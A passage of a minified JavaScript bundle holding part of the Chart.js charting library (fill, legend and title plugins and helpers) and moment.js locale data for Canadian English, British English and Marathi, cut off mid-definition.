0===i&&(i=!!r.backgroundColor),!1===i||null===i)return!1;if(!0===i)return"origin";if(a=parseFloat(i,10),isFinite(a)&&Math.floor(a)===a)return"-"!==i[0]&&"+"!==i[0]||(a=t+a),!(a===t||a<0||a>=n)&&a;switch(i){case"bottom":return"start";case"top":return"end";case"zero":return"origin";case"origin":case"start":case"end":return i;default:return!1}}function Un(e){return(e.el._scale||{}).getPointPositionForValue?function(e){var t,n,a,r,i,s=e.el._scale,o=s.options,l=s.chart.data.labels.length,d=e.fill,u=[];if(!l)return null;for(n=o.ticks.reverse?s.min:s.max,a=s.getPointPositionForValue(0,t=o.ticks.reverse?s.max:s.min),r=0;r<l;++r)i="start"===d||"end"===d?s.getPointPositionForValue(r,"start"===d?t:n):s.getBasePosition(r),o.gridLines.circular&&(i.cx=a.x,i.cy=a.y,i.angle=s.getIndexAngle(r)-Math.PI/2),u.push(i);return u}(e):function(e){var t,n=e.el._model||{},a=e.el._scale||{},r=e.fill,i=null;if(isFinite(r))return null;if("start"===r?i=void 0===n.scaleBottom?a.bottom:n.scaleBottom:"end"===r?i=void 0===n.scaleTop?a.top:n.scaleTop:void 0!==n.scaleZero?i=n.scaleZero:a.getBasePixel&&(i=a.getBasePixel()),null!=i){if(void 0!==i.x&&void 0!==i.y)return i;if(W.isFinite(i))return{x:(t=a.isHorizontal())?i:null,y:t?null:i}}return null}(e)}function $n(e,t,n){var a,r=e[t].fill,i=[t];if(!n)return r;for(;!1!==r&&-1===i.indexOf(r);){if(!isFinite(r))return r;if(!(a=e[r]))return!1;if(a.visible)return r;i.push(r),r=a.fill}return!1}function Kn(e){var t=e.fill,n="dataset";return!1===t?null:(isFinite(t)||(n="boundary"),Gn[n](e))}function Zn(e){return e&&!e.skip}function Xn(e,t,n,a,r){var i,s,o,l;if(a&&r){for(e.moveTo(t[0].x,t[0].y),i=1;i<a;++i)W.canvas.lineTo(e,t[i-1],t[i]);if(void 0===n[0].angle)for(e.lineTo(n[r-1].x,n[r-1].y),i=r-1;i>0;--i)W.canvas.lineTo(e,n[i],n[i-1],!0);else for(s=n[0].cx,o=n[0].cy,l=Math.sqrt(Math.pow(n[0].x-s,2)+Math.pow(n[0].y-o,2)),i=r-1;i>0;--i)e.arc(s,o,l,n[i].angle,n[i-1].angle,!0)}}function Qn(e,t,n,a,r,i){var s,o,l,d,u,c,h,m,_=t.length,f=a.spanGaps,p=[],g=[],b=0,y=0;for(e.beginPath(),s=0,o=_;s<o;++s)u=n(d=t[l=s%_]._view,l,a),c=Zn(d),h=Zn(u),i&&void 0===m&&c&&(o=_+(m=s+1)),c&&h?(b=p.push(d),y=g.push(u)):b&&y&&(f?(c&&p.push(d),h&&g.push(u)):(Xn(e,p,g,b,y),b=y=0,p=[],g=[]));Xn(e,p,g,b,y),e.closePath(),e.fillStyle=r,e.fill()}var ea={id:"filler",afterDatasetsUpdate:function(e,t){var n,a,r,i,s=(e.data.datasets||[]).length,o=t.propagate,l=[];for(a=0;a<s;++a)i=null,(r=(n=e.getDatasetMeta(a)).dataset)&&r._model&&r instanceof ge.Line&&(i={visible:e.isDatasetVisible(a),fill:Jn(r,a,s),chart:e,el:r}),n.$filler=i,l.push(i);for(a=0;a<s;++a)(i=l[a])&&(i.fill=$n(l,a,o),i.boundary=Un(i),i.mapper=Kn(i))},beforeDatasetsDraw:function(e){var t,n,a,r,i,s,o,l=e._getSortedVisibleDatasetMetas(),d=e.ctx;for(n=l.length-1;n>=0;--n)(t=l[n].$filler)&&t.visible&&(i=(a=t.el)._children||[],o=(r=a._view).backgroundColor||F.global.defaultColor,(s=t.mapper)&&o&&i.length&&(W.canvas.clipArea(d,e.chartArea),Qn(d,i,s,r,o,a._loop),W.canvas.unclipArea(d)))}},ta=W.rtl.getRtlAdapter,na=W.noop,aa=W.valueOrDefault;function ra(e,t){return e.usePointStyle&&e.boxWidth>t?t:e.boxWidth}F._set("global",{legend:{display:!0,position:"top",align:"center",fullWidth:!0,reverse:!1,weight:1e3,onClick:function(e,t){var n=t.datasetIndex,a=this.chart,r=a.getDatasetMeta(n);r.hidden=null===r.hidden?!a.data.datasets[n].hidden:null,a.update()},onHover:null,onLeave:null,labels:{boxWidth:40,padding:10,generateLabels:function(e){var t=e.data.datasets,n=e.options.legend||{},a=n.labels&&n.labels.usePointStyle;return e._getSortedDatasetMetas().map((function(n){var r=n.controller.getStyle(a?0:void 0);return{text:t[n.index].label,fillStyle:r.backgroundColor,hidden:!e.isDatasetVisible(n.index),lineCap:r.borderCapStyle,lineDash:r.borderDash,lineDashOffset:r.borderDashOffset,lineJoin:r.borderJoinStyle,lineWidth:r.borderWidth,strokeStyle:r.borderColor,pointStyle:r.pointStyle,rotation:r.rotation,datasetIndex:n.index}}),this)}}},legendCallback:function(e){var t,n,a,r=document.createElement("ul"),i=e.data.datasets;for(r.setAttribute("class",e.id+"-legend"),t=0,n=i.length;t<n;t++)(a=r.appendChild(document.createElement("li"))).appendChild(document.createElement("span")).style.backgroundColor=i[t].backgroundColor,i[t].label&&a.appendChild(document.createTextNode(i[t].label));return r.outerHTML}});var ia=G.extend({initialize:function(e){W.extend(this,e),this.legendHitBoxes=[],this._hoveredItem=null,this.doughnutMode=!1},beforeUpdate:na,update:function(e,t,n){var a=this;return a.beforeUpdate(),a.maxWidth=e,a.maxHeight=t,a.margins=n,a.beforeSetDimensions(),a.setDimensions(),a.afterSetDimensions(),a.beforeBuildLabels(),a.buildLabels(),a.afterBuildLabels(),a.beforeFit(),a.fit(),a.afterFit(),a.afterUpdate(),a.minSize},afterUpdate:na,beforeSetDimensions:na,setDimensions:function(){var e=this;e.isHorizontal()?(e.width=e.maxWidth,e.left=0,e.right=e.width):(e.height=e.maxHeight,e.top=0,e.bottom=e.height),e.paddingLeft=0,e.paddingTop=0,e.paddingRight=0,e.paddingBottom=0,e.minSize={width:0,height:0}},afterSetDimensions:na,beforeBuildLabels:na,buildLabels:function(){var e=this,t=e.options.labels||{},n=W.callback(t.generateLabels,[e.chart],e)||[];t.filter&&(n=n.filter((function(n){return t.filter(n,e.chart.data)}))),e.options.reverse&&n.reverse(),e.legendItems=n},afterBuildLabels:na,beforeFit:na,fit:function(){var e=this,t=e.options,n=t.labels,a=t.display,r=e.ctx,i=W.options._parseFont(n),s=i.size,o=e.legendHitBoxes=[],l=e.minSize,d=e.isHorizontal();if(d?(l.width=e.maxWidth,l.height=a?10:0):(l.width=a?10:0,l.height=e.maxHeight),a){if(r.font=i.string,d){var u=e.lineWidths=[0],c=0;r.textAlign="left",r.textBaseline="middle",W.each(e.legendItems,(function(e,t){var a=ra(n,s)+s/2+r.measureText(e.text).width;(0===t||u[u.length-1]+a+2*n.padding>l.width)&&(c+=s+n.padding,u[u.length-(t>0?0:1)]=0),o[t]={left:0,top:0,width:a,height:s},u[u.length-1]+=a+n.padding})),l.height+=c}else{var h=n.padding,m=e.columnWidths=[],_=e.columnHeights=[],f=n.padding,p=0,g=0;W.each(e.legendItems,(function(e,t){var a=ra(n,s)+s/2+r.measureText(e.text).width;t>0&&g+s+2*h>l.height&&(f+=p+n.padding,m.push(p),_.push(g),p=0,g=0),p=Math.max(p,a),g+=s+h,o[t]={left:0,top:0,width:a,height:s}})),f+=p,m.push(p),_.push(g),l.width+=f}e.width=l.width,e.height=l.height}else e.width=l.width=e.height=l.height=0},afterFit:na,isHorizontal:function(){return"top"===this.options.position||"bottom"===this.options.position},draw:function(){var e=this,t=e.options,n=t.labels,a=F.global,r=a.defaultColor,i=a.elements.line,s=e.height,o=e.columnHeights,l=e.width,d=e.lineWidths;if(t.display){var u,c=ta(t.rtl,e.left,e.minSize.width),h=e.ctx,m=aa(n.fontColor,a.defaultFontColor),_=W.options._parseFont(n),f=_.size;h.textAlign=c.textAlign("left"),h.textBaseline="middle",h.lineWidth=.5,h.strokeStyle=m,h.fillStyle=m,h.font=_.string;var p=ra(n,f),g=e.legendHitBoxes,b=function(e,a){switch(t.align){case"start":return n.padding;case"end":return e-a;default:return(e-a+n.padding)/2}},y=e.isHorizontal();u=y?{x:e.left+b(l,d[0]),y:e.top+n.padding,line:0}:{x:e.left+n.padding,y:e.top+b(s,o[0]),line:0},W.rtl.overrideTextDirection(e.ctx,t.textDirection);var M=f+n.padding;W.each(e.legendItems,(function(t,a){var m=h.measureText(t.text).width,_=p+f/2+m,v=u.x,L=u.y;c.setWidth(e.minSize.width),y?a>0&&v+_+n.padding>e.left+e.minSize.width&&(L=u.y+=M,u.line++,v=u.x=e.left+b(l,d[u.line])):a>0&&L+M>e.top+e.minSize.height&&(v=u.x=v+e.columnWidths[u.line]+n.padding,u.line++,L=u.y=e.top+b(s,o[u.line]));var k=c.x(v);!function(e,t,a){if(!(isNaN(p)||p<=0)){h.save();var s=aa(a.lineWidth,i.borderWidth);if(h.fillStyle=aa(a.fillStyle,r),h.lineCap=aa(a.lineCap,i.borderCapStyle),h.lineDashOffset=aa(a.lineDashOffset,i.borderDashOffset),h.lineJoin=aa(a.lineJoin,i.borderJoinStyle),h.lineWidth=s,h.strokeStyle=aa(a.strokeStyle,r),h.setLineDash&&h.setLineDash(aa(a.lineDash,i.borderDash)),n&&n.usePointStyle){var o=p*Math.SQRT2/2,l=c.xPlus(e,p/2);W.canvas.drawPoint(h,a.pointStyle,o,l,t+f/2,a.rotation)}else h.fillRect(c.leftForLtr(e,p),t,p,f),0!==s&&h.strokeRect(c.leftForLtr(e,p),t,p,f);h.restore()}}(k,L,t),g[a].left=c.leftForLtr(k,g[a].width),g[a].top=L,function(e,t,n,a){var r=f/2,i=c.xPlus(e,p+r),s=t+r;h.fillText(n.text,i,s),n.hidden&&(h.beginPath(),h.lineWidth=2,h.moveTo(i,s),h.lineTo(c.xPlus(i,a),s),h.stroke())}(k,L,t,m),y?u.x+=_+n.padding:u.y+=M})),W.rtl.restoreTextDirection(e.ctx,t.textDirection)}},_getLegendItemAt:function(e,t){var n,a,r,i=this;if(e>=i.left&&e<=i.right&&t>=i.top&&t<=i.bottom)for(r=i.legendHitBoxes,n=0;n<r.length;++n)if(e>=(a=r[n]).left&&e<=a.left+a.width&&t>=a.top&&t<=a.top+a.height)return i.legendItems[n];return null},handleEvent:function(e){var t,n=this,a=n.options,r="mouseup"===e.type?"click":e.type;if("mousemove"===r){if(!a.onHover&&!a.onLeave)return}else{if("click"!==r)return;if(!a.onClick)return}t=n._getLegendItemAt(e.x,e.y),"click"===r?t&&a.onClick&&a.onClick.call(n,e.native,t):(a.onLeave&&t!==n._hoveredItem&&(n._hoveredItem&&a.onLeave.call(n,e.native,n._hoveredItem),n._hoveredItem=t),a.onHover&&t&&a.onHover.call(n,e.native,t))}});function sa(e,t){var n=new ia({ctx:e.ctx,options:t,chart:e});lt.configure(e,n,t),lt.addBox(e,n),e.legend=n}var oa={id:"legend",_element:ia,beforeInit:function(e){var t=e.options.legend;t&&sa(e,t)},beforeUpdate:function(e){var t=e.options.legend,n=e.legend;t?(W.mergeIf(t,F.global.legend),n?(lt.configure(e,n,t),n.options=t):sa(e,t)):n&&(lt.removeBox(e,n),delete e.legend)},afterEvent:function(e,t){var n=e.legend;n&&n.handleEvent(t)}},la=W.noop;F._set("global",{title:{display:!1,fontStyle:"bold",fullWidth:!0,padding:10,position:"top",text:"",weight:2e3}});var da=G.extend({initialize:function(e){W.extend(this,e),this.legendHitBoxes=[]},beforeUpdate:la,update:function(e,t,n){var a=this;return a.beforeUpdate(),a.maxWidth=e,a.maxHeight=t,a.margins=n,a.beforeSetDimensions(),a.setDimensions(),a.afterSetDimensions(),a.beforeBuildLabels(),a.buildLabels(),a.afterBuildLabels(),a.beforeFit(),a.fit(),a.afterFit(),a.afterUpdate(),a.minSize},afterUpdate:la,beforeSetDimensions:la,setDimensions:function(){var e=this;e.isHorizontal()?(e.width=e.maxWidth,e.left=0,e.right=e.width):(e.height=e.maxHeight,e.top=0,e.bottom=e.height),e.paddingLeft=0,e.paddingTop=0,e.paddingRight=0,e.paddingBottom=0,e.minSize={width:0,height:0}},afterSetDimensions:la,beforeBuildLabels:la,buildLabels:la,afterBuildLabels:la,beforeFit:la,fit:function(){var e,t=this,n=t.options,a=t.minSize={},r=t.isHorizontal();n.display?(e=(W.isArray(n.text)?n.text.length:1)*W.options._parseFont(n).lineHeight+2*n.padding,t.width=a.width=r?t.maxWidth:e,t.height=a.height=r?e:t.maxHeight):t.width=a.width=t.height=a.height=0},afterFit:la,isHorizontal:function(){var e=this.options.position;return"top"===e||"bottom"===e},draw:function(){var e=this,t=e.ctx,n=e.options;if(n.display){var a,r,i,s=W.options._parseFont(n),o=s.lineHeight,l=o/2+n.padding,d=0,u=e.top,c=e.left,h=e.bottom,m=e.right;t.fillStyle=W.valueOrDefault(n.fontColor,F.global.defaultFontColor),t.font=s.string,e.isHorizontal()?(r=c+(m-c)/2,i=u+l,a=m-c):(r="left"===n.position?c+l:m-l,i=u+(h-u)/2,a=h-u,d=Math.PI*("left"===n.position?-.5:.5)),t.save(),t.translate(r,i),t.rotate(d),t.textAlign="center",t.textBaseline="middle";var _=n.text;if(W.isArray(_))for(var f=0,p=0;p<_.length;++p)t.fillText(_[p],0,f,a),f+=o;else t.fillText(_,0,0,a);t.restore()}}});function ua(e,t){var n=new da({ctx:e.ctx,options:t,chart:e});lt.configure(e,n,t),lt.addBox(e,n),e.titleBlock=n}var ca={},ha=ea,ma=oa,_a={id:"title",_element:da,beforeInit:function(e){var t=e.options.title;t&&ua(e,t)},beforeUpdate:function(e){var t=e.options.title,n=e.titleBlock;t?(W.mergeIf(t,F.global.title),n?(lt.configure(e,n,t),n.options=t):ua(e,t)):n&&(lt.removeBox(e,n),delete e.titleBlock)}};for(var fa in ca.filler=ha,ca.legend=ma,ca.title=_a,Rt.helpers=W,function(){function e(e,t,n){var a;return"string"==typeof e?(a=parseInt(e,10),-1!==e.indexOf("%")&&(a=a/100*t.parentNode[n])):a=e,a}function t(e){return null!=e&&"none"!==e}function n(n,a,r){var i=document.defaultView,s=W._getParentNode(n),o=i.getComputedStyle(n)[a],l=i.getComputedStyle(s)[a],d=t(o),u=t(l),c=Number.POSITIVE_INFINITY;return d||u?Math.min(d?e(o,n,r):c,u?e(l,s,r):c):"none"}W.where=function(e,t){if(W.isArray(e)&&Array.prototype.filter)return e.filter(t);var n=[];return W.each(e,(function(e){t(e)&&n.push(e)})),n},W.findIndex=Array.prototype.findIndex?function(e,t,n){return e.findIndex(t,n)}:function(e,t,n){n=void 0===n?e:n;for(var a=0,r=e.length;a<r;++a)if(t.call(n,e[a],a,e))return a;return-1},W.findNextWhere=function(e,t,n){W.isNullOrUndef(n)&&(n=-1);for(var a=n+1;a<e.length;a++){var r=e[a];if(t(r))return r}},W.findPreviousWhere=function(e,t,n){W.isNullOrUndef(n)&&(n=e.length);for(var a=n-1;a>=0;a--){var r=e[a];if(t(r))return r}},W.isNumber=function(e){return!isNaN(parseFloat(e))&&isFinite(e)},W.almostEquals=function(e,t,n){return Math.abs(e-t)<n},W.almostWhole=function(e,t){var n=Math.round(e);return n-t<=e&&n+t>=e},W.max=function(e){return e.reduce((function(e,t){return isNaN(t)?e:Math.max(e,t)}),Number.NEGATIVE_INFINITY)},W.min=function(e){return e.reduce((function(e,t){return isNaN(t)?e:Math.min(e,t)}),Number.POSITIVE_INFINITY)},W.sign=Math.sign?function(e){return Math.sign(e)}:function(e){return 0==(e=+e)||isNaN(e)?e:e>0?1:-1},W.toRadians=function(e){return e*(Math.PI/180)},W.toDegrees=function(e){return e*(180/Math.PI)},W._decimalPlaces=function(e){if(W.isFinite(e)){for(var t=1,n=0;Math.round(e*t)/t!==e;)t*=10,n++;return n}},W.getAngleFromPoint=function(e,t){var n=t.x-e.x,a=t.y-e.y,r=Math.sqrt(n*n+a*a),i=Math.atan2(a,n);return i<-.5*Math.PI&&(i+=2*Math.PI),{angle:i,distance:r}},W.distanceBetweenPoints=function(e,t){return Math.sqrt(Math.pow(t.x-e.x,2)+Math.pow(t.y-e.y,2))},W.aliasPixel=function(e){return e%2==0?0:.5},W._alignPixel=function(e,t,n){var a=e.currentDevicePixelRatio,r=n/2;return Math.round((t-r)*a)/a+r},W.splineCurve=function(e,t,n,a){var r=e.skip?t:e,i=t,s=n.skip?t:n,o=Math.sqrt(Math.pow(i.x-r.x,2)+Math.pow(i.y-r.y,2)),l=Math.sqrt(Math.pow(s.x-i.x,2)+Math.pow(s.y-i.y,2)),d=o/(o+l),u=l/(o+l),c=a*(d=isNaN(d)?0:d),h=a*(u=isNaN(u)?0:u);return{previous:{x:i.x-c*(s.x-r.x),y:i.y-c*(s.y-r.y)},next:{x:i.x+h*(s.x-r.x),y:i.y+h*(s.y-r.y)}}},W.EPSILON=Number.EPSILON||1e-14,W.splineCurveMonotone=function(e){var t,n,a,r,i,s,o,l,d,u=(e||[]).map((function(e){return{model:e._model,deltaK:0,mK:0}})),c=u.length;for(t=0;t<c;++t)if(!(a=u[t]).model.skip){if(n=t>0?u[t-1]:null,(r=t<c-1?u[t+1]:null)&&!r.model.skip){var h=r.model.x-a.model.x;a.deltaK=0!==h?(r.model.y-a.model.y)/h:0}a.mK=!n||n.model.skip?a.deltaK:!r||r.model.skip?n.deltaK:this.sign(n.deltaK)!==this.sign(a.deltaK)?0:(n.deltaK+a.deltaK)/2}for(t=0;t<c-1;++t)r=u[t+1],(a=u[t]).model.skip||r.model.skip||(W.almostEquals(a.deltaK,0,this.EPSILON)?a.mK=r.mK=0:(i=a.mK/a.deltaK,s=r.mK/a.deltaK,(l=Math.pow(i,2)+Math.pow(s,2))<=9||(o=3/Math.sqrt(l),a.mK=i*o*a.deltaK,r.mK=s*o*a.deltaK)));for(t=0;t<c;++t)(a=u[t]).model.skip||(r=t<c-1?u[t+1]:null,(n=t>0?u[t-1]:null)&&!n.model.skip&&(a.model.controlPointPreviousX=a.model.x-(d=(a.model.x-n.model.x)/3),a.model.controlPointPreviousY=a.model.y-d*a.mK),r&&!r.model.skip&&(a.model.controlPointNextX=a.model.x+(d=(r.model.x-a.model.x)/3),a.model.controlPointNextY=a.model.y+d*a.mK))},W.nextItem=function(e,t,n){return n?t>=e.length-1?e[0]:e[t+1]:t>=e.length-1?e[e.length-1]:e[t+1]},W.previousItem=function(e,t,n){return n?t<=0?e[e.length-1]:e[t-1]:t<=0?e[0]:e[t-1]},W.niceNum=function(e,t){var n=Math.floor(W.log10(e)),a=e/Math.pow(10,n);return(t?a<1.5?1:a<3?2:a<7?5:10:a<=1?1:a<=2?2:a<=5?5:10)*Math.pow(10,n)},W.requestAnimFrame="undefined"==typeof window?function(e){e()}:window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.oRequestAnimationFrame||window.msRequestAnimationFrame||function(e){return window.setTimeout(e,1e3/60)},W.getRelativePosition=function(e,t){var n,a,r=e.originalEvent||e,i=e.target||e.srcElement,s=i.getBoundingClientRect(),o=r.touches;o&&o.length>0?(n=o[0].clientX,a=o[0].clientY):(n=r.clientX,a=r.clientY);var l=parseFloat(W.getStyle(i,"padding-left")),d=parseFloat(W.getStyle(i,"padding-top")),u=parseFloat(W.getStyle(i,"padding-right")),c=parseFloat(W.getStyle(i,"padding-bottom")),h=s.bottom-s.top-d-c;return{x:n=Math.round((n-s.left-l)/(s.right-s.left-l-u)*i.width/t.currentDevicePixelRatio),y:a=Math.round((a-s.top-d)/h*i.height/t.currentDevicePixelRatio)}},W.getConstraintWidth=function(e){return n(e,"max-width","clientWidth")},W.getConstraintHeight=function(e){return n(e,"max-height","clientHeight")},W._calculatePadding=function(e,t,n){return(t=W.getStyle(e,t)).indexOf("%")>-1?n*parseInt(t,10)/100:parseInt(t,10)},W._getParentNode=function(e){var t=e.parentNode;return t&&"[object ShadowRoot]"===t.toString()&&(t=t.host),t},W.getMaximumWidth=function(e){var t=W._getParentNode(e);if(!t)return e.clientWidth;var n=t.clientWidth,a=n-W._calculatePadding(t,"padding-left",n)-W._calculatePadding(t,"padding-right",n),r=W.getConstraintWidth(e);return isNaN(r)?a:Math.min(a,r)},W.getMaximumHeight=function(e){var t=W._getParentNode(e);if(!t)return e.clientHeight;var n=t.clientHeight,a=n-W._calculatePadding(t,"padding-top",n)-W._calculatePadding(t,"padding-bottom",n),r=W.getConstraintHeight(e);return isNaN(r)?a:Math.min(a,r)},W.getStyle=function(e,t){return e.currentStyle?e.currentStyle[t]:document.defaultView.getComputedStyle(e,null).getPropertyValue(t)},W.retinaScale=function(e,t){var n=e.currentDevicePixelRatio=t||"undefined"!=typeof window&&window.devicePixelRatio||1;if(1!==n){var a=e.canvas,r=e.height,i=e.width;a.height=r*n,a.width=i*n,e.ctx.scale(n,n),a.style.height||a.style.width||(a.style.height=r+"px",a.style.width=i+"px")}},W.fontString=function(e,t,n){return t+" "+e+"px "+n},W.longestText=function(e,t,n,a){var r=(a=a||{}).data=a.data||{},i=a.garbageCollect=a.garbageCollect||[];a.font!==t&&(r=a.data={},i=a.garbageCollect=[],a.font=t),e.font=t;var s,o,l,d,u,c=0,h=n.length;for(s=0;s<h;s++)if(null!=(d=n[s])&&!0!==W.isArray(d))c=W.measureText(e,r,i,c,d);else if(W.isArray(d))for(o=0,l=d.length;o<l;o++)null==(u=d[o])||W.isArray(u)||(c=W.measureText(e,r,i,c,u));var m=i.length/2;if(m>n.length){for(s=0;s<m;s++)delete r[i[s]];i.splice(0,m)}return c},W.measureText=function(e,t,n,a,r){var i=t[r];return i||(i=t[r]=e.measureText(r).width,n.push(r)),i>a&&(a=i),a},W.numberOfLabelLines=function(e){var t=1;return W.each(e,(function(e){W.isArray(e)&&e.length>t&&(t=e.length)})),t},W.color=M?function(e){return e instanceof CanvasGradient&&(e=F.global.defaultColor),M(e)}:function(e){return console.error("Color.js not found!"),e},W.getHoverColor=function(e){return e instanceof CanvasPattern||e instanceof CanvasGradient?e:W.color(e).saturate(.5).darken(.1).rgbString()}}(),Rt._adapters=zt,Rt.Animation=U,Rt.animationService=$,Rt.controllers=Be,Rt.DatasetController=ee,Rt.defaults=F,Rt.Element=G,Rt.elements=ge,Rt.Interaction=Xe,Rt.layouts=lt,Rt.platform=yt,Rt.plugins=Mt,Rt.Scale=nn,Rt.scaleService=vt,Rt.Ticks=Vt,Rt.Tooltip=Ct,Rt.helpers.each(qn,(function(e,t){Rt.scaleService.registerScaleType(t,e,e._defaults)})),ca)ca.hasOwnProperty(fa)&&Rt.plugins.register(ca[fa]);Rt.platform.initialize();var pa=Rt;return"undefined"!=typeof window&&(window.Chart=Rt),Rt.Chart=Rt,Rt.Legend=ca.legend._element,Rt.Title=ca.title._element,Rt.pluginService=Rt.plugins,Rt.PluginBase=Rt.Element.extend({}),Rt.canvasHelpers=Rt.helpers.canvas,Rt.layoutService=Rt.layouts,Rt.LinearScaleBase=on,Rt.helpers.each(["Bar","Bubble","Doughnut","Line","PolarArea","Radar","Scatter"],(function(e){Rt[e]=function(t,n){return new Rt(t,Rt.helpers.merge(n||{},{type:e.charAt(0).toLowerCase()+e.slice(1)}))}})),pa}(function(){try{return n("wd/R")}catch(e){}}())},OIYi:function(e,t,n){!function(e){"use strict";e.defineLocale("en-ca",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"h:mm A",LTS:"h:mm:ss A",L:"YYYY-MM-DD",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY h:mm A",LLLL:"dddd, MMMM D, YYYY h:mm A"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")}})}(n("wd/R"))},Oaa7:function(e,t,n){!function(e){"use strict";e.defineLocale("en-gb",{months:"January_February_March_April_May_June_July_August_September_October_November_December".split("_"),monthsShort:"Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec".split("_"),weekdays:"Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday".split("_"),weekdaysShort:"Sun_Mon_Tue_Wed_Thu_Fri_Sat".split("_"),weekdaysMin:"Su_Mo_Tu_We_Th_Fr_Sa".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Today at] LT",nextDay:"[Tomorrow at] LT",nextWeek:"dddd [at] LT",lastDay:"[Yesterday at] LT",lastWeek:"[Last] dddd [at] LT",sameElse:"L"},relativeTime:{future:"in %s",past:"%s ago",s:"a few seconds",ss:"%d seconds",m:"a minute",mm:"%d minutes",h:"an hour",hh:"%d hours",d:"a day",dd:"%d days",M:"a month",MM:"%d months",y:"a year",yy:"%d years"},dayOfMonthOrdinalParse:/\d{1,2}(st|nd|rd|th)/,ordinal:function(e){var t=e%10;return e+(1==~~(e%100/10)?"th":1===t?"st":2===t?"nd":3===t?"rd":"th")},week:{dow:1,doy:4}})}(n("wd/R"))},Ob0Z:function(e,t,n){!function(e){"use strict";var t={1:"\u0967",2:"\u0968",3:"\u0969",4:"\u096a",5:"\u096b",6:"\u096c",7:"\u096d",8:"\u096e",9:"\u096f",0:"\u0966"},n={"\u0967":"1","\u0968":"2","\u0969":"3","\u096a":"4","\u096b":"5","\u096c":"6","\u096d":"7","\u096e":"8","\u096f":"9","\u0966":"0"};function a(e,t,n,a){var r="";if(t)switch(n){case"s":r="\u0915\u093e\u0939\u0940 \u0938\u0947\u0915\u0902\u0926";break;case"ss":r="%d \u0938\u0947\u0915\u0902\u0926";break;case"m":r="\u090f\u0915 \u092e\u093f\u0928\u093f\u091f";break;case"mm":r="%d \u092e\u093f\u0928\u093f\u091f\u0947";break;case"h":r="\u090f\u0915 \u0924\u093e\u0938";break;case"hh":r="%d \u0924\u093e\u0938";break;case"d":r="\u090f\u0915 \u0926\u093f\u0935\u0938";break;case"dd":r="%d \u0926\u093f\u0935\u0938";break;case"M":r="\u090f\u0915 \u092e\u0939\u093f\u0928\u093e";break;case"MM":r="%d \u092e\u0939\u093f\u0928\u0947";break;case"y":r="\u090f\u0915 \u0935\u0930\u094d\u0937";break;case"yy":r="%d \u0935\u0930\u094d\u0937\u0947"}else switch(n){case"s":r="\u0915\u093e\u0939\u0940 \u0938\u0947\u0915\u0902\u0926\u093e\u0902";break;case"ss":r="%d \u0938\u0947\u0915\u0902\u0926\u093e\u0902";break;case"m":r="\u090f\u0915\u093e \u092e\u093f\u0928\u093f\u091f\u093e";break;case"mm":r="%d \u092e\u093f\u0928\u093f\u091f\u093e\u0902";break;case"h":r="\u090f\u0915\u093e \u0924\u093e\u0938\u093e";break;case"hh":r="%d \u0924\u093e\u0938\u093e\u0902";break;case"d":r="\u090f\u0915\u093e \u0926\u093f\u0935\u0938\u093e";break;case"dd":r="%d \u0926\u093f\u0935\u0938\u093e\u0902";break;case"M":r="\u090f\u0915\u093e \u092e\u0939\u093f\u0928\u094d\u092f\u093e";break;case"MM":r="%d \u092e\u0939\u093f\u0928\u094d\u092f\u093e\u0902";break;case"y":r="\u090f\u0915\u093e \u0935\u0930\u094d\u0937\u093e";break;case"yy":r="%d \u0935\u0930\u094d\u0937\u093e\u0902"}return r.replace(/%d/i,e)}e.defineLocale("mr",{months:"\u091c\u093e\u0928\u0947\u0935\u093e\u0930\u0940_\u092b\u0947\u092c\u094d\u0930\u0941\u0935\u093e\u0930\u0940_\u092e\u093e\u0930\u094d\u091a_\u090f\u092a\u094d\u0930\u093f\u0932_\u092e\u0947_\u091c\u0942\u0928_\u091c\u0941\u0932\u0948_\u0911\u0917\u0938\u094d\u091f_\u0938\u092a\u094d\u091f\u0947\u0902\u092c\u0930_\u0911\u0915\u094d\u091f\u094b\u092c\u0930_\u0928\u094b\u0935\u094d\u0939\u0947\u0902\u092c\u0930_\u0921\u093f\u0938\u0947\u0902\u092c\u0930".split("_"),monthsShort:"\u091c\u093e\u0928\u0947._\u092b\u0947\u092c\u094d\u0930\u0941._\u092e\u093e\u0930\u094d\u091a._\u090f\u092a\u094d\u0930\u093f._\u092e\u0947._\u091c\u0942\u0928._\u091c\u0941\u0932\u0948._\u0911\u0917._\u0938\u092a\u094d\u091f\u0947\u0902._\u0911\u0915\u094d\u091f\u094b._\u0928\u094b\u0935\u094d\u0939\u0947\u0902._\u0921\u093f\u0938\u0947\u0902.".split("_"),monthsParseExact:!0,weekdays:"\u0930\u0935\u093f\u0935\u093e\u0930_\u0938\u094b\u092e\u0935\u093e\u0930_\u092e\u0902\u0917\u0933\u0935\u093e\u0930_\u092c\u0941\u0927\u0935\u093e\u0930_\u0917\u0941\u0930\u0942\u0935\u093e\u0930_\u0936\u0941\u0915\u094d\u0930\u0935\u093e\u0930_\u0936\u0928\u093f\u0935\u093e\u0930".split("_"),weekdaysShort:"\u0930\u0935\u093f_\u0938\u094b\u092e_\u092e\u0902\u0917\u0933_\u092c\u0941\u0927_\u0917\u0941\u